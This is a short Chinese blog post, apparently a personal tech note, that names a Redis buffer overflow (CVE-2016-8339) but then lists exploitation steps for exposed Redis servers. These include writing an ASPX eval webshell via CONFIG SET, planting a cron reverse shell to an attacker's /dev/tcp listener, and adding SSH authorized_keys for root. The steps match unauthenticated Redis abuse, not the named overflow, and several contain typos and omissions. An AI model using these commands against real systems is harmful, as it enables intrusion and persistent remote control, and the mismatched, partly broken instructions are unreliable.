redis远程代码执行CVE-2016-8339

发布时间 2023-08-03 11:20:14作者: lisenMiller

     Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis 数据结构存储 的 CONFIG SET 命令中 client-output-buffer-limit 选项处理存在越界写漏洞。构造的 CONFIG SET 命令可导致越界写,代码执行。

漏洞利用:

修改配置文件 redis.conf

cp redis.conf ./src/redis.conf

bind 127.0.0.1 前面加上#号注释掉

protected-mode 设为 no

启动redis-server

./src/redis-server redis.conf

获取webshell

当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以 尝试往 web 路径写 webshell,前提是知道物理路径,精简命令如下:

config set dir E:/www/font

config set dbfilename redis2.aspx

set a "<%@ page language=\"Jscript\"%><%eval(request.item[\"c\"],\"unsafe\");%>"

save

反弹shell

1.连接redis

redis-clie -h xxx -p 6379

2.在kali上执行命令

nc -lvnp 9001

3.靶机执行一下命令

set x "\n\n* * * * * bash -i >& /dev/tcp/kali ip/9001 0>&1\n\n"

config set dir /var/spool/cron/ (ubuntu的文件是/var/spool/cron/crontabs)

config set dir /var/spool/cron/crontabs/

config set dbfilename root

save

免密码ssh

ssh-keygen -t rsa 

congfig set dir /root/.ssh

config set dbfilename authorized_keys

save

无密码登录成功